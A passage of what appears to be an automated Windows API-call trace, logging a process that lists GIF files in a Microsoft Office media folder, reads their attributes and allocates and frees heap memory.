ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0073.911] GetLastError () returned 0x12 [0073.911] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0073.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0074.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0074.357] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0074.357] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa97f58, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa97f58, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0074.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa97f58) returned 1 [0074.357] NtClose (Handle=0x164) returned 0x0 [0074.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0074.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0074.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0074.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0074.357] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0074.802] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.887] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0074.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e868 [0074.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9f690 [0074.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0074.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e888 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9f798 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e8a8 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9f8a0 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e8c8 [0074.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9f9a8 [0074.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.891] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0074.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e8e8 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9fab0 [0074.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e908 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9fbb8 [0074.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e928 [0074.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9fcc0 [0074.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.898] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e948 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9fdc8 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3340) returned 0xa97f58 [0074.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0074.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.898] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e968 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9fed0 [0074.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e988 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ffd8 [0074.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.903] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e9a8 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa00e0 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlAllocateHeap 